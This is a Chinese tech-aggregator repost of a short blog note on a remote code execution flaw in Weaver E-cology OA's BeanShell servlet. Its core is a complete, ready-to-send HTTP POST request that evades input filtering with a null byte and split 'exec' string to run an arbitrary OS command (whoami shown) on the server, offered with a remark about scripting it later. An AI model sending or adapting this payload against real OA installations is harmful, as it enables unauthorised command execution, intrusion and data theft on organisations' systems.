首页 / 更多教程 / 泛微E-cology OA /weaver/ 代码执行漏洞

泛微E-cology OA /weaver/ 代码执行漏洞

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了泛微E-cology OA /weaver/ 代码执行漏洞，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1065字，纯文字阅读大概需要2分钟。

内容图文

泛微E-cology OA /weaver/代码执行漏洞

泛微e-cology OA Beanshell组件远程代码执行

分析文章：https://dwz.cn/bYtnsKwa

 

http://127.0.0.1/weaver/bsh.servlet.BshServlet

技术分享图片

 

 

 若存在如上页面，则用下面数据包进行测试。

 

POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host:127.0.0.1:8080
Content-Length: 151
Cache-Control: max-age=0
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=abc17Hyv4HXw_6_hyXo1w; testBanCookie=test
Connection: close

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

技术分享图片

 

 

等有时间写个脚本。

 

原文：https://www.cnblogs.com/Oran9e/p/11566824.html

内容总结

以上是互联网集市为您收集整理的泛微E-cology OA /weaver/ 代码执行漏洞全部内容，希望文章能够帮你解决泛微E-cology OA /weaver/ 代码执行漏洞所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/1255840.html

来源：【匿名】